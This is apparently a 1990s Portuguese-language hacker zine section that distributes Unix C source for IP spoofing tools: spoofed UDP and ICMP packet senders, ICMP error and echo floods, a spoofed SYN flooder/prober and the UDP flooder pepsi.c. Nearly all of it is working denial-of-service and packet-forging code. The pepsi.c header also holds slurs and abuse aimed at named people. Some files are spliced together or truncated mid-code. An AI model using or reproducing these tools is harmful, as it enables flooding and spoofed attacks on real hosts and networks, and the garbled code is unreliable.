<><><><><><><><><><><><><> 21 SPOOFING 21 BY DEAD*POOL Nessa seçao nós colocamos a disposiçao alguns programas relacionados a spoofing... Pessoal do windows desculpa, mas isso aqui só pra UNIX e LINUX Os programas seguem o esquema de sempre, tem a descriçao aqui em cima, TODOS os progs seguem a odem da descriçao. arnudp001.c Programa que envia datagramas UDP spoofeados bewm2.c Programa que envia pacotes ICMP apoofeados echok.c Outro programa que envia pacotes ICMP spoofeados eprobe.c Floodeador SYN spoofeado ipspoof.c. Programa spoofeador de IP pepsi.c Floodeador de UDP erect.c Spoofer de nome de servidor de IRC ---------arnudp001.c /************************************************************************/ /* arnudp.c version 0.01 by Arny - cs6171@scitsc.wlv.ac.uk */ /* Sends a single udp datagram with the source/destination address/port */ /* set to whatever you want. Unfortunately Linux 1.2 and SunOS 4.1 */ /* don't seem to have the IP_HDRINCL option, so the source address will */ /* be set to the real address. It does however work ok on SunOS 5.4. */ /* Should compile fine with just an ANSI compiler (such as gcc) under */ /* Linux and SunOS 4.1, but with SunOS 5.4 you have to specify extra */ /* libraries on the command line: */ /* /usr/ucb/cc -o arnudp arnudp001.c -lsocket -lnsl */ /* I'll state the obvious - this needs to be run as root! Do not use */ /* this program unless you know what you are doing, as it is possible */ /* that you could confuse parts of your network / internet. */ /* (c) 1995 Arny - I accept no responsiblity for anything this does. */ /************************************************************************/ /* I used the source of traceroute as an example while writing this. */ /* Many thanks to Dan Egnor (egnor@ugcs.caltech.edu) and Rich Stevens */ /* for pointing me in the right direction. */ /************************************************************************/ #include #include #include #include #include #include #include #include #include #include #include struct sockaddr sa; main(int argc,char **argv) { int fd; int x=1; struct sockaddr_in *p; struct hostent *he; u_char gram[38]= { 0x45, 0x00, 0x00, 0x26, 0x12, 0x34, 0x00, 0x00, 0xFF, 0x11, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x00, 0x12, 0x00, 0x00, '1','2','3','4','5','6','7','8','9','0' }; if(argc!=5) { fprintf(stderr,"usage: %s sourcename sourceport destinationname destinationport\n",*argv); exit(1); }; if((he=gethostbyname(argv[1]))==NULL) { fprintf(stderr,"can't resolve source hostname\n"); exit(1); }; bcopy(*(he->h_addr_list),(gram+12),4); if((he=gethostbyname(argv[3]))==NULL) { fprintf(stderr,"can't resolve destination hostname\n"); exit(1); }; bcopy(*(he->h_addr_list),(gram+16),4); *(u_short*)(gram+20)=htons((u_short)atoi(argv[2])); *(u_short*)(gram+22)=htons((u_short)atoi(argv[4])); p=(struct sockaddr_in*)&sa; p->sin_family=AF_INET; bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr)); if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1) { perror("socket"); exit(1); }; #ifdef IP_HDRINCL fprintf(stderr,"we have IP_HDRINCL :-)\n\n"); if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0) { perror("setsockopt IP_HDRINCL"); exit(1); }; #else fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n"); #endif if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1) { perror("sendto"); exit(1); }; printf("datagram sent without error:"); for(x=0;x<(sizeof(gram)/sizeof(u_char));x++) { if(!(x%4)) putchar('\n'); printf("%02x",gram[x]); }; putchar('\n'); } ---------------arnudp001.c ----------------bewm2.c #include #include #include #include #include #include #include #include #include #define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(struct iphdr) + 16) #define ICMPSIZE (sizeof(struct icmphdr) + sizeof(struct iphdr) + 16) #define offsetTCP (sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(struct iphdr)) #define offsetIP (sizeof(struct iphdr) + sizeof(struct icmphdr)) #define offsetICMP (sizeof(struct iphdr)) #define offsetRIP (0) static int thecode; int s = 0; u_short cksum( u_short *, int ); void sendkill( char *, int, char *, int ); u_short cksum( u_short *buf, int nwords ) { unsigned long sum; for ( sum = 0; nwords > 0; nwords -- ) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } void resolve_address(struct sockaddr * addr, char *hostname, u_short port) { struct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *)addr; (void) bzero( (char *)address, sizeof(struct sockaddr_in) ); /* fill in the easy fields */ address->sin_family = AF_INET; address->sin_port = htons(port); /* first, check if the address is an ip address */ address->sin_addr.s_addr = inet_addr(hostname); if ( (int)address->sin_addr.s_addr == -1) { /* it wasn't.. so we try it as a long host name */ host = gethostbyname(hostname); if (host) { /* wow. It's a host name.. set the fields */ /* ?? address->sin_family = host->h_addrtype; */ bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length); } else { /* oops.. can't find it.. */ puts("Couldn't resolve address!!!"); exit(-1); }}} void sendkill( char * fromhost, int fromport, char * tohost, int toport ) { char *packet; static struct sockaddr_in local, remote; static int sock = 0; if ( !sock ) { resolve_address( (struct sockaddr *)&local, fromhost, fromport ); resolve_address( (struct sockaddr *)&remote, tohost, toport ); sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if ( sock == -1 ) { perror("Getting raw socket"); exit(-1); }} /* Get memory for the packet */ packet = (char *)malloc( PACKETSIZE ); if ( !packet ) { perror("Getting space for packet"); exit(-1); } /* Fill in our pretended TCP header note - since this was allegedly an * outgoing packet... we have to flip the source and destination stuff */ { struct tcphdr * fake_tcp; fake_tcp = ( struct tcphdr *)( packet + offsetTCP ); fake_tcp->th_dport = htons(fromport); fake_tcp->th_sport = htons(toport); fake_tcp->th_seq = 0x1984; } /* * fill in the fake IP header the same reversal as above still applies.. * the packet was sent to our machine ( yeah right ) */ { struct iphdr * fake_ip; fake_ip = ( struct iphdr *) ( packet + offsetIP ); /* these fields are irrelevant -- never checked?? */ fake_ip->version = 4; fake_ip->tot_len = htons(0x2C); /* this was much longer.. once */ fake_ip->tos = 0; fake_ip->id = htons( getpid() & 255 ); fake_ip->frag_off = 0; fake_ip->ttl = 1; /* not so long to live anymore ***changed*** */ fake_ip->check = 31337; /* this CAN'T be checked..so do something != 0 */ /* these fields are used .. */ fake_ip->ihl = 5; bcopy( (char *)&local.sin_addr, &fake_ip->daddr, sizeof( fake_ip->daddr ) ); bcopy( (char *)&remote.sin_addr,&fake_ip->saddr, sizeof( fake_ip->saddr ) ); fake_ip->protocol = 6; /* a TCP packet */ } /* fill in the ICMP header this is actally rather trivial, though don't * forget the checksum */ { struct icmphdr * icmp; icmp = ( struct icmphdr *)(packet + offsetICMP ); icmp->type = 4; icmp->code = thecode; /* this will generate an error message */ icmp->un.gateway = 0; icmp->checksum = 0; icmp->checksum = cksum( (u_short *)(icmp), ICMPSIZE >> 1 ); } /* finally, fill in the IP header this is almost the same as above though * this time, it is the ip header that really takes the packet places. make * sure the checksum and addresses are right */ { struct iphdr * real_ip; real_ip = ( struct iphdr *)packet; real_ip->version = 4; real_ip->ihl = 5; real_ip->tot_len = htons(PACKETSIZE); real_ip->tos = ( 7 << 5) | 4; real_ip->ttl = 255; real_ip->protocol = 1; real_ip->check = 0; real_ip->id = htons( 3 ); real_ip->frag_off = 0; bcopy( (char *)&local.sin_addr, &real_ip->saddr, sizeof( real_ip->saddr ) ); bcopy( (char *)&remote.sin_addr,&real_ip->daddr, sizeof( real_ip->daddr ) ); real_ip->saddr = htonl( ntohl(real_ip->daddr ) & 0xffffff00L ); real_ip->check = cksum( (u_short *)packet, sizeof( struct iphdr ) >> 1 ); } /* and now finally send it out into the net */ { int result; result = sendto( sock, packet, PACKETSIZE, 0, (struct sockaddr *)&remote, sizeof( remote ) ); if ( result != PACKETSIZE ) { perror("sending packet" ); }}} void finish() { (void)signal(SIGINT, SIG_IGN); (void)putchar('\n'); (void)printf("\033[32m-\033[m\033[2m-\033[m\033[32m- \033[m\033[2mb\033[m\033[32mEWm \033[m\033[2ms\033[m\033[32mTATISTICs -\033[m\033[2m-\033[m\033[32m-\033[m\n"); (void)printf("\033[2mp\033[m\033[32mACKETs \033[m\033[2ms\033[m\033[32mENt: \033[m\033[2m%d\033[m\n", s); (void)putchar('\n'); exit(0); } main(int argc, char ** argv) { int codes,i; puts("\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\0 33[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\0 33[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[m\033[32m=\033[m\033[2m=\033[m"); puts("\033[2mb\033[m\033[32mEWm"); puts("\033[2mW\033[m\033[32mritten by Rza"); puts("\033[m\033[2mv\033[m\033[32mEr 1.0"); puts("\033[2mT\033[m\033[32mue Jun 11 06:54:07 EDT 1996"); puts("\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\0 33[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\0 33[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[m\033[32m=\033[m\033[2m=\033[m"); if (argc != 7) { puts("\033[32mSYNTAX\033[m\033[2m: <\033[m\033[32msrcaddress\033[m\033[2m> <\033[m\033[32msrcport\033[m\033[2m> <\033[m\033[32mdestaddress\033[m\033[2m> <\033[m\033[32mdestportlow\033[m\033[2m> <\033[m\033[32mdestporthigh\033[m\033[2m> <\033[m\033[32mic mp\033[m\033[2m>\033[m"); exit(-1); } thecode = atoi(argv[6]); sendloop: for( i = atoi(argv[4]) ; i <= atoi(argv[5]) ; i++) { s++; printf("\033[2m%d\033[m\033[32m bytes from \033[m\033[2m%s\033[m\033[32m:\033[m\033[2m%d\033[m\033[32m to \033[m\033[2m%s\033[m\033[32m:\033[m\033[2m%d\033[m\n",PACKETSIZE+ICMPSIZE,argv[1],atoi(argv[2]),argv[3],i); sendkill(argv[1], atoi(argv[2]), argv[3], i); usleep(300000); (void)signal(SIGINT, finish); } goto sendloop; } ----------bewm2.c ----------------echok.c /* * echok.c * ICMP_ECHO Killer * * Author: Zakath Credits: LOTSA thanks to crisk * Don't be fooled. Very little is my orig code. * [03.13.96] */ #define RESOLVE_QUIET #define IPHDRSIZE sizeof(struct iphdr) #define ICMPHDRSIZE sizeof(struct icmphdr) #include #include #include #include #include #include #include #include #include #include #define ECHOK_VER "1.4" /* GENERAL ROUTINES ------------------------------------------- */ void banner(void) { printf("\n * ICMP ECHO Killer [v%s] - by Zakath *", ECHOK_VER); printf("\n * Code based on works by Crisk & Mike Muuss *\n\n"); } void usage(const char *progname) { printf("\nusage:\n "); printf("%s [-f <-n number>] [-s packet size] [-w wait] \n\n",progname); printf("\t-f : enable flooding (ping -f)\n"); printf("\t-n : number of pings to send\n"); printf("\t-s : ICMP_ECHO Packet Size [Default is 64]\n"); printf("\t-w : Wait time between packets [Default is 100]\n"); printf("\t : address of fake ICMP packet sender\n"); printf("\t : destination of the flood message\n"); printf("\n"); } /* OPTION PARSING -------------------------------------------- */ unsigned char *dest_name; unsigned char *spoof_name = NULL; struct sockaddr_in destaddr, spoofaddr; unsigned long dest_addr; unsigned long spoof_addr; unsigned pingsize, pingsleep, pingnmbr; char flood = 0; /* * in_cksum -- * Checksum routine for Internet Protocol family headers (C Version) */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } /* Nice resolve func. by crisk */ int resolve( const char *name, struct sockaddr_in *addr, int port ) { struct hostent *host; /* clear everything in case I forget something */ bzero((char *)addr,sizeof(struct sockaddr_in)); if (( host = gethostbyname(name) ) == NULL ) { #ifndef RESOLVE_QUIET fprintf(stderr,"unable to resolve host \"%s\" -- ",name); perror(""); #endif return -1; } addr->sin_family = host->h_addrtype; memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); addr->sin_port = htons(port); return 0; } unsigned long addr_to_ulong(struct sockaddr_in *addr) { return addr->sin_addr.s_addr; } int resolve_one(const char *name, unsigned long *addr, const char *desc) { struct sockaddr_in tempaddr; if (resolve(name, &tempaddr,0) == -1) { printf("error: can't resolve the %s.\n",desc); return -1; } *addr = tempaddr.sin_addr.s_addr; return 0; } int resolve_all(const char *dest, const char *spoof) { if (resolve_one(dest,&dest_addr,"dest address")) return -1; if (spoof!=NULL) if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1; spoofaddr.sin_addr.s_addr = spoof_addr; spoofaddr.sin_family = AF_INET; destaddr.sin_addr.s_addr = dest_addr; destaddr.sin_family = AF_INET; } void give_info(void) { printf("# target address : %s (%s)\n",dest_name,inet_ntoa(dest_addr)); printf("# spoof-from address : %s (%s)\n\n",spoof_name,inet_ntoa(spoof_addr)); if (pingnmbr) printf("# number of packets : %u\n",(pingnmbr)); printf("# icmp echo packet size : %u\n",(pingsize+36)); printf("# wait time between send : %u\n\n", pingsleep); } int parse_args(int argc, char *argv[]) { int opt; char *endptr; while ((opt=getopt(argc, argv, "fn:s:w:")) != -1) { switch(opt) { case 'f': flood = 1; break; case 'n': pingnmbr = strtoul(optarg,&endptr,10); if (*endptr != '\0') { printf("%s: Invalid Number '%s'.\n", argv[0], optarg); return -1; } break; case 's': pingsize = strtoul(optarg,&endptr,10); if (*endptr != '\0') { printf("%s: Bad Packet Size '%s'\n", argv[0], optarg); return -1; } break; case 'w': pingsleep = strtoul(optarg,&endptr,10); if (*endptr != '\0') { printf("%s: Bad Wait Time '%s'\n", argv[0], optarg); return -1; } break; case '?': case ':': return -1; break; } } if (optind > argc-2) { printf("%s: missing parameters\n",argv[0]); return -1; } if (!pingsize) pingsize = 28; else pingsize = pingsize - 36 ; if (!pingsleep) pingsleep = 100; spoof_name = argv[optind++]; dest_name = argv[optind++]; return 0; } /* * icmp_echo_send() * builds and sends an ICMP unreachable packet. Since ICMP unreachable packets * contain the IP header + 64 bits of original datagram, we create a bogus * IP header and the first 64 bits of a TCP header (ports and syn). * */ inline int icmp_echo_send(int socket, unsigned long spoof_addr, unsigned long t_addr, unsigned pingsize) { unsigned char packet[5122]; struct iphdr *ip; struct icmphdr *icmp; struct iphdr *origip; unsigned char *data; int i; ip = (struct iphdr *)packet; icmp = (struct icmphdr *)(packet+IPHDRSIZE); origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE); data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE); memset(packet, 0, 5122); /* ip->saddr = spoof_addr; */ ip->version = 4; ip->ihl = 5; ip->ttl = 255-random()%15; ip->protocol = IPPROTO_ICMP; ip->tot_len = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8); bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr)); bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr)); ip->check = in_cksum(packet,IPHDRSIZE); /* origip->saddr = t_addr; this is the 'original' header. */ origip->version = 4; origip->ihl = 5; origip->ttl = ip->ttl - random()%15; origip->protocol = IPPROTO_TCP; origip->tot_len = IPHDRSIZE + 30; origip->id = random()%69; bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr)); origip->check = in_cksum(origip,IPHDRSIZE); *((unsigned int *)data) = htons(pingsize); /* 'original IP header + 64 bits (of bogus TCP header)' made. */ icmp->type = 8; /* should be 3 */ icmp->code = 0; icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8); return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0, (struct sockaddr *)&destaddr,sizeof(struct sockaddr)); /* ICMP packet is now over the net. */ } /* MAIN ------------------------------------------------------ */ void main(int argc, char *argv[]) { int s, i; int floodloop; banner(); if (parse_args(argc,argv)) { usage(argv[0]); return; } resolve_all(dest_name, spoof_name); give_info(); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!flood) { if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) { printf("%s: error sending ping packet\n",argv[0]); perror(""); return; } } else { floodloop = 0; if ( pingnmbr && (pingnmbr > 0) ) { printf("flooding... packet limit set.\n"); for (i=0;is_name; } void ssyn(int sendsock, u_long srcaddr, u_long dstaddr, u_short srcport, u_short dstport, u_long seq) { char *pack, *tpack; int sent; struct sockaddr_in stuffz; tpack = create_tcp(srcaddr, dstaddr, htons(srcport), htons(dstport), seq, 0, TH_SYN, NULL, 0); pack = create_ip (srcaddr, dstaddr, IPPROTO_TCP, 75, 1, tpack, 20); stuffz.sin_family = AF_INET; stuffz.sin_port = htons(dstport); stuffz.sin_addr.s_addr = dstaddr; sent = sendto(sendsock, pack, 40, 0, (struct sockaddr *)&stuffz, sizeof(stuffz)); if (sent != 40) { perror("sending SYN"); exit(-1); } } void srst(int sendsock, u_long srcaddr, u_long dstaddr, u_short srcport, u_short dstport, u_long seq) { char *pack, *tpack; int sent; struct sockaddr_in stuffz; tpack = create_tcp(srcaddr, dstaddr, htons(srcport), htons(dstport), seq, 0, TH_RST, NULL, 0); pack = create_ip (srcaddr, dstaddr, IPPROTO_TCP, 75, 1, tpack, 20); stuffz.sin_family = AF_INET; stuffz.sin_port = htons(dstport); stuffz.sin_addr.s_addr = dstaddr; sent = sendto(sendsock, pack, 40, 0, (struct sockaddr *)&stuffz, sizeof(stuffz)); if (sent != 40) { perror("sending RST"); exit(-1); } } main (int c, char *v[]) { int ssock, lsock, pid; struct hostent *hent; struct servent *srvent; u_long us, them; u_short sport, eport; u_short skrap; char mahname[80], *buggz, iphh[20], tcphh[20]; struct tcphdr *tcphead; struct iphdr *iphead; if (c!=4) { printf("usage: %s \n", v[0]); exit(-1); } gethostname(mahname, 79); if ((hent = gethostbyname(mahname)) == NULL) { printf("couldn't get my hostname!@#\n"); exit(-1); } bcopy(hent->h_addr, (char *)&us, hent->h_length); if ((hent = gethostbyname(v[1]))!=NULL) bcopy(hent->h_addr, (char *)&them, hent->h_length); else { printf("could not resolve: %s\n", v[1]); exit(-1); } if ((sport=atoi(v[2]))==0) { printf("you can't use %s as a starting port..\n", v[2]); exit(-1); } if ((eport=atoi(v[3]))==0) { printf("you can't use %s as an ending port..\n", v[3]); exit(-1); } ssock = socket(AF_INET, SOCK_RAW, 255); if (ssock == -1) { perror("getting send socket"); exit(-1); } lsock = socket(AF_INET, SOCK_RAW, 6); if (lsock == -1) { perror("getting listen socket"); exit(-1); } printf("Active ports on %s between: %d and %d:\n", v[1], sport, eport); pid = getpid(); for (skrap=sport;skrapth_dport) != pid+skrap) || (ntohs(tcphead->th_sport) != skrap) || (them != iphead->saddr) || (us != iphead->daddr)) { usleep(100); buggz = read_tcpip(); bcopy(buggz, &iphh, 20); bcopy((buggz + 20), &tcphh, 20); iphead = (struct iphdr *)iphh; tcphead = (struct tcphdr *)tcphh; } if ((iphead->saddr == them) && (iphead->daddr == us) && (ntohl(tcphead->th_ack) == ((skrap * 1000 )+ 1))) { if (tcphead->th_flags & TH_SYN) { printf("%s.%s\n", inet_ntoa(them), servport(skrap)); srst(ssock, us, them, pid+skrap, skrap, ((skrap * 1000) + 1)); } } } } -------------eprobe.c ----------------ipspoof.c #include #include #include #include #include #include #include #include unsigned short ip_cksum(unsigned char * buff, int len) { unsigned long sum = 0; if (len > 3) { __asm__("clc\n" "1:\t" "lodsl\n\t" "adcl %%eax, %%ebx\n\t" "loop 1b\n\t" "adcl $0, %%ebx\n\t" "movl %%ebx, %%eax\n\t" "shrl $16, %%eax\n\t" "addw %%ax, %%bx\n\t" "adcw $0, %%bx" : "=b" (sum) , "=S" (buff) : "0" (sum), "c" (len >> 2) ,"1" (buff) : "ax", "cx", "si", "bx" ); } if (len & 2) { __asm__("lodsw\n\t" "addw %%ax, %%bx\n\t" "adcw $0, %%bx" : "=b" (sum), "=S" (buff) : "0" (sum), "1" (buff) : "bx", "ax", "si"); } if (len & 1) { __asm__("lodsb\n\t" "movb $0, %%ah\n\t" "addw %%ax, %%bx\n\t" "adcw $0, %%bx" : "=b" (sum), "=S" (buff) : "0" (sum), "1" (buff) : "bx", "ax", "si"); } sum =~sum; return(sum & 0xffff); } unsigned short tcp_check(struct tcphdr *th, int len, unsigned long saddr, unsigned long daddr) { unsigned long sum; __asm__(" addl %%ecx, %%ebx adcl %%edx, %%ebx adcl $0, %%ebx " : "=b"(sum) : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256) : "bx", "cx", "dx" ); __asm__(" movl %%ecx, %%edx cld cmpl $32, %%ecx jb 2f shrl $5, %%ecx clc 1: lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx loop 1b adcl $0, %%ebx movl %%edx, %%ecx 2: andl $28, %%ecx je 4f shrl $2, %%ecx clc 3: lodsl adcl %%eax, %%ebx loop 3b adcl $0, %%ebx 4: movl $0, %%eax testw $2, %%dx je 5f lodsw addl %%eax, %%ebx adcl $0, %%ebx movw $0, %%ax 5: test $1, %%edx je 6f lodsb addl %%eax, %%ebx adcl $0, %%ebx 6: movl %%ebx, %%eax shrl $16, %%eax addw %%ax, %%bx adcw $0, %%bx " : "=b"(sum) : "0"(sum), "c"(len), "S"(th) : "ax", "bx", "cx", "dx", "si" ); /* We only want the bottom 16 bits, but we never cleared the top 16. */ return((~sum) & 0xffff); } void resolve_address(struct sockaddr *addr, char *hostname, u_short port) { struct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *)addr; (void) bzero((char *)address, sizeof(struct sockaddr_in)); address->sin_family = AF_INET; address->sin_port = htons(port); address->sin_addr.s_addr = inet_addr(hostname); if ((int)address->sin_addr.s_addr == -1) { host = gethostbyname(hostname); if (host) { bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length); } else { puts("Couldn't resolve address!!!"); exit(-1); } } } char *create_ip(u_long source, u_long dest, u_char protocol, u_char ttl, u_short id, char *data, int data_len) { char *ip_datagram; struct iphdr *ip_header; ip_datagram = malloc(sizeof(struct iphdr) + data_len); ip_header = ip_datagram; ip_header->version = 4; ip_header->tos = 0; ip_header->frag_off = 0; ip_header->check = 0; ip_header->saddr = source; ip_header->daddr = dest; ip_header->protocol = protocol; ip_header->ttl = ttl; ip_header->id = htons(id); ip_header->ihl = 5; ip_header->tot_len = htons(sizeof(struct iphdr) + data_len); ip_header->check = htons(ip_cksum(ip_datagram,sizeof(struct iphdr))); bcopy(data,ip_datagram+sizeof(struct iphdr),data_len); return ip_datagram; } char *create_tcp(u_long source, u_long dest, u_short sport, u_short dport, u_long seqnum, u_long acknum, u_char flags, char *data, int datalen) { char *wewt; struct tcphdr *tcp_header; wewt = malloc(sizeof(struct tcphdr) + datalen); tcp_header = wewt; tcp_header->th_sport = sport; tcp_header->th_dport = dport; tcp_header->th_seq = seqnum; tcp_header->th_ack = acknum; tcp_header->th_flags = flags; tcp_header->th_sum = 0; tcp_header->th_sum = htons(tcp_check(tcp_header, sizeof(struct tcphdr), source, dest)); bcopy(data,wewt+sizeof(struct tcphdr),datalen); return wewt; } void sendpack(char *fromhost, int fromport, char *tohost, int toport) { char *packet; char *tcppacket; char *sendme; static struct sockaddr_in local, remote; static int sock = 0; if (!sock) { resolve_address((struct sockaddr *)&local, fromhost, fromport); resolve_address((struct sockaddr *)&remote, tohost, toport); sock = socket(AF_INET, SOCK_RAW, 255); if (sock == -1) { perror("Getting raw socket"); exit(-1); } } tcppacket = create_tcp(&local.sin_addr, &remote.sin_addr, local.sin_port, remote.sin_port, 795930600, 0, TH_SYN, NULL, 0); packet = create_ip(&local.sin_addr, &remote.sin_addr, 6, 24, 4, NULL, 0); sendme = (struct iphdr *)packet; bcopy(tcppacket, sendme+sizeof(struct iphdr), sizeof(tcppacket)); printf("the ip header is %d bytes long.\n", sizeof(struct iphdr)); printf("the tcp header is %d bytes long.\n", sizeof(struct tcphdr)); printf("the ip packet is %d bytes long.\n", sizeof(packet)); printf("the tcp packet is %d bytes long.\n", sizeof(tcppacket)); printf("the final packet is %d bytes long.\n", sizeof(sendme)); { int result; result = sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&remote, sizeof(remote)); if (result != sizeof(packet)) { perror("sending packet"); } } } main(int argc, char **argv) { if (argc!=5) { printf("usage: %s \n", argv[0]); exit(-1); } printf("forging packet from %s.%d to %s.%d\n", argv[1], atoi(argv[2]), argv[3], atoi(argv[4])); sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4])); } ---------------------ipspoof.c. -------------pepsi.c /* * pepsi.c * Random Source Host UDP flooder * * Author: Soldier@data-t.org * * [12.25.1996] * * Greets To: Havok, nightmar, vira, Kage, ananda, tmw, Cheesebal, efudd, * Capone, cph|ber, WebbeR, Shadowimg, robocod, napster, marl, eLLjAY, fLICK^ * Toasty, [shadow], [magnus] and silitek, oh and Data-T. * * Fuck You to: Razor1911 the bigest fucking lamers in the warez comunity, * Yakuza for ripping my code, #cha0s on the undernet for trying to port * it to win95, then ircOpers on efnet for being such cocksuckers * especially prae for trying to call the fbi on me at least 5 times. * all warez pups i don't know for ripping off honest programers. * and Dianora for being a lesbian hoe, Srfag..err SrfRog for having an ego * the size of california. * AND A BIG HUGE ENORMOUS FUCK YOU TO myc, throwback, crush, asmodean, Piker, * pireaus, A HUGE FUCKING FUCK to texas.net, and the last HUGEST FUCK IN * INTERNET HISTORY, AMM. * * * Disclaimer since i don't wanna go to jail * - this is for educational purposes only * */ /* [Defines] */ #define FRIEND "My christmas present to the internet -Soldier" #define VERSION "Pepsi.c v1.6" #define DSTPORT 7 #define SRCPORT 19 #define PSIZE 1024 #define DWAIT 1 /* [Includes] */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* [Banner] */ void banner() { printf("\t\t\t%s Author - Soldier \n", VERSION); printf("\t\t\t [10.27.96] \n\n"); printf("This Copy Registered to: %s\n\n", FRIEND); } /* [Option Parsing] */ struct sockaddr_in dstaddr; unsigned long dst; struct udphdr *udp; struct iphdr *ip; char *target; char *srchost; int dstport = 0; int srcport = 0; int numpacks = 0; int psize = 0; int wait = 0; /* [Usage] */ void usage(char *pname) { printf("usage:\n "); printf("%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] \n\n", pname); printf("\t-s : source where packets are comming from\n"); printf("\t-n : number of UDP packets to send\n"); printf("\t-p : Packet Size [Default is 1024]\n"); printf("\t-d : Destination Port [Default is %.2d]\n", DSTPORT); printf("\t-o : Source Port [Default is %.2d]\n", SRCPORT); printf("\t-w : Wait time between packets [Default is 1]\n"); printf("\t : destination \n"); printf("\n"); exit(EXIT_SUCCESS); } /* [In chksum with some mods] */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 17) + (sum & 0xffff); sum += (sum >> 17); answer = -sum; return (answer); } /* Resolve Functions */ unsigned long resolve(char *cp) { struct hostent *hp; hp = gethostbyname(cp); if (!hp) { printf("[*] Unable to resolve %s\t\n", cp); exit(EXIT_FAILURE); } return ((unsigned long) hp->h_addr); } void resolvedest(void) { struct hostent *host; memset(&dstaddr, 0, sizeof(struct sockaddr_in)); dstaddr.sin_family = AF_INET; dstaddr.sin_addr.s_addr = inet_addr(target); if (dstaddr.sin_addr.s_addr == -1) { host = gethostbyname(target); if (host == NULL) { printf("[*] Unable To resolve %s\t\n", target); exit(EXIT_FAILURE); } dstaddr.sin_family = host->h_addrtype; memcpy((caddr_t) & dstaddr.sin_addr, host->h_addr, host->h_length); } memcpy(&dst, (char *) &dstaddr.sin_addr.s_addr, 4); } /* Parsing Argz */ void parse_args(int argc, char *argv[]) { int opt; while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != -1) switch (opt) { case 's': srchost = (char *) malloc(strlen(optarg) + 1); 